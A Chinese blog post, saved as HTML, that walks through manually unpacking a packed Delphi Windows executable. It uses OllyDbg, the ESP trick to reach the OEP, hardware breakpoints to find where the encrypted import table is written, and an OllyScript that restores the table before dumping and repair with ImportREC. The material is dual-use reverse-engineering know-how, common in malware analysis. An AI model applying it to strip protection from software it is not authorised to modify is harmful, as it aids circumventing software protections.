<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/24/Ocean-Lotus样本分析/index.html | HTML | unknown | 45,793 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/24/一枚简单的未知壳/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="工具&环境: 工具 系统环境 PEID win7_x86 OD IDA imporREC 查壳先用PEID扫了一下发现什么都没有扫到">
<meta property="og:type" content="article">
<meta property="og:title" content="一枚简单的未知壳">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="工具&环境: 工具 系统环境 PEID win7_x86 OD IDA imporREC 查壳先用PEID扫了一下发现什么都没有扫到">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/623a1200-5054-432b-9613-8ceb28562e82.jpg">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/1a8bec0d-3c8f-4a42-9dfc-fe11ac4d4c4b.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/b7135dff-2520-480a-a78e-aa78ced4f978.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/5ad9befa-e19c-4abc-bd97-b797a6eab5d7.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/e9bfd6e4-da02-45b2-a55c-01a8255ace15.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0d728ff3-108c-4eb6-893b-03cff517cce4.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/9a384b9c-9fd8-46b7-aaa1-50feca86de32.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0.2970275629542105.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0.8923110284070546.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/31d0751c-1485-47a0-83c3-c72f0cf354cb.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/275a6cef-4ad9-46a0-a894-a661aae2bc0a.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/40552cb0-1999-4878-b33f-1707b93ec133.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/37b4e9f6-c4c2-4952-960c-f569a9303764.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/image-20210524164615794.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/image-20210524153137607.png">
<meta property="article:published_time" content="2021-05-24T07:29:04.000Z">
<meta property="article:modified_time" content="2023-11-17T11:37:53.988Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="Windows脱壳">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/623a1200-5054-432b-9613-8ceb28562e82.jpg">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
一枚简单的未知壳 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">一枚简单的未知壳</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-24 15:29:04</span>
<span class="mobile">2021-05-24 15:29:04</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:37:53</span>
<span class="mobile">2023-11-17 19:37:53</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Windows%E8%84%B1%E5%A3%B3/">Windows脱壳</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="工具-amp-环境"><a href="#工具-amp-环境" class="headerlink" title="工具&环境:"></a>工具&环境:</h3><table>
<thead>
<tr>
<th align="left">工具</th>
<th>系统环境</th>
</tr>
</thead>
<tbody><tr>
<td align="left">PEID</td>
<td>win7_x86</td>
</tr>
<tr>
<td align="left">OD</td>
<td></td>
</tr>
<tr>
<td align="left">IDA</td>
<td></td>
</tr>
<tr>
<td align="left">imporREC</td>
<td></td>
</tr>
</tbody></table>
<h3 id="查壳"><a href="#查壳" class="headerlink" title="查壳"></a>查壳</h3><p>先用PEID扫了一下发现什么都没有扫到<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/623a1200-5054-432b-9613-8ceb28562e82.jpg" class="" title="img"></p>
<span id="more"></span>
<h3 id="直接先用OD打开看一下"><a href="#直接先用OD打开看一下" class="headerlink" title="直接先用OD打开看一下"></a>直接先用OD打开看一下</h3><p>发现有pushad/fd先用ESP定律下断试一下<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/1a8bec0d-3c8f-4a42-9dfc-fe11ac4d4c4b.png" class="" title="img"></p>
<p>嗯,直接就这样到了,F7几下就到了OEP<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/b7135dff-2520-480a-a78e-aa78ced4f978.png" class="" title="img"></p>
<p>这里有个sub esp,0x58所以应该是Delphi写的,第一个call本来应该显示getversion的,但是并没有,发现它IAT加密了<br> <strong>OEP是47148B</strong><br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/5ad9befa-e19c-4abc-bd97-b797a6eab5d7.png" class="" title="img"></p>
<p>那我们先跟进去看一下</p>
<p>这里有对ebx一个sub和add运算看了一下发现它获取到了GetVersion的地址<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/e9bfd6e4-da02-45b2-a55c-01a8255ace15.png" class="" title="img"></p>
<p>但是0x475080还是它WriteIAT的地址,所以在这里下硬件写入断点,然后重新运行寻找它GetAPI的地方<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0d728ff3-108c-4eb6-893b-03cff517cce4.png" class="" title="img"></p>
<p>F9了两次发现这个地方像是写入IAT的地方<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/9a384b9c-9fd8-46b7-aaa1-50feca86de32.png" class="" title="img"><br> <strong>那这个1D0897应该是WriteIATAddr了</strong></p>
<p>在0x2F0895这个地方下断用run跟踪F7跑一下<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0.2970275629542105.png" class="" title="img"></p>
<p><strong>run跟踪的原理就是模拟操作然后全部记录在run跟踪窗口中</strong><br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/0.8923110284070546.png" class="" title="img"></p>
<p>在写入iat的地方下断点,然后run跟踪,运行到下一次写入的时候就会断下来,<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/31d0751c-1485-47a0-83c3-c72f0cf354cb.png" class="" title="img"></p>
<p>然后进run跟踪的界面,找到7*******开头往这个eax里面写入的地址就是GetAPIAddr了</p>
<p>可以看到这里获取到了API的地址<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/275a6cef-4ad9-46a0-a894-a661aae2bc0a.png" class="" title="img"></p>
<p>这个地方就可以用了,也可以再往上找一下eax是从哪来的</p>
<p>找到是从这个地方获取的<br> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/40552cb0-1999-4878-b33f-1707b93ec133.png" class="" title="img"><br> <strong>1D1914或者1D0474</strong><br> <strong>我们写脱壳脚本的时候GetAPI用这两个地址都可以</strong></p>
<pre><code>// 定义变量,初始化变量
VAR dwGetAPIAddr
VAR dwWriteIATAddr
VAR dwOEP VAR dwTmp
MOV dwGetAPIAddr, 001D0474 // 获取 API 地址的地方
MOV dwWriteIATAddr, 001D0897 // 填充 IAT 的地方
MOV dwOEP, 0047148B // OEP
// 清理环境
BC // 清理软件断点
BPHWC // 清理硬件断点
BPMC // 清理内存断点
// 设置断点
BPHWS dwOEP, "x"
BPHWS dwGetAPIAddr, "x"
BPHWS dwWriteIATAddr, "x"
// 构造循环
LOOP1:
// 运行程序
RUN
// 判断 是 获取 API 地址的地方
cmp eip,dwGetAPIAddr
JNZ SIGN1
MOV dwTmp, eax
jmp LOOP1
// 判断 是 填充 IAT 的地方
SIGN1:
cmp eip,dwWriteIATAddr
JNZ SIGN2
MOV [edx],dwTmp
jmp LOOP1
// 判断是 OEP ,结束了
SIGN2:
cmp eip,dwOEP
JZ EXIT1
jmp LOOP1 // 脚本结束
EXIT1:
MSG "yes,今晚吃鸡!"
</code></pre>
<p>等脚本跑完 修复完导入表</p>
<h3 id="在OEP处右键使用OllyDump将程序dump出来"><a href="#在OEP处右键使用OllyDump将程序dump出来" class="headerlink" title="在OEP处右键使用OllyDump将程序dump出来"></a>在OEP处右键使用OllyDump将程序dump出来</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/37b4e9f6-c4c2-4952-960c-f569a9303764.png" class="" title="img">
<h3 id="然后用imporREC修复一下dump出来程序的导入表就可以了"><a href="#然后用imporREC修复一下dump出来程序的导入表就可以了" class="headerlink" title="然后用imporREC修复一下dump出来程序的导入表就可以了"></a>然后用imporREC修复一下dump出来程序的导入表就可以了</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/image-20210524164615794.png" class="" title="image-20210524164615794">
<h3 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/image-20210524153137607.png" class="" title="image-20210524153137607">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> 一枚简单的未知壳</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-24 15:29:04</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:37:53
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/24/一枚简单的未知壳/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Windows%E8%84%B1%E5%A3%B3/">#Windows脱壳</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Ocean Lotus样本分析</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">HW样本分析</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">一枚简单的未知壳</div>
<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%B7%A5%E5%85%B7-amp-%E7%8E%AF%E5%A2%83"><span class="nav-text">工具&环境:</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%9F%A5%E5%A3%B3"><span class="nav-text">查壳</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%9B%B4%E6%8E%A5%E5%85%88%E7%94%A8OD%E6%89%93%E5%BC%80%E7%9C%8B%E4%B8%80%E4%B8%8B"><span class="nav-text">直接先用OD打开看一下</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%9C%A8OEP%E5%A4%84%E5%8F%B3%E9%94%AE%E4%BD%BF%E7%94%A8OllyDump%E5%B0%86%E7%A8%8B%E5%BA%8Fdump%E5%87%BA%E6%9D%A5"><span class="nav-text">在OEP处右键使用OllyDump将程序dump出来</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%84%B6%E5%90%8E%E7%94%A8imporREC%E4%BF%AE%E5%A4%8D%E4%B8%80%E4%B8%8Bdump%E5%87%BA%E6%9D%A5%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AF%BC%E5%85%A5%E8%A1%A8%E5%B0%B1%E5%8F%AF%E4%BB%A5%E4%BA%86"><span class="nav-text">然后用imporREC修复一下dump出来程序的导入表就可以了</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%AE%8C%E6%88%90"><span class="nav-text">完成</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
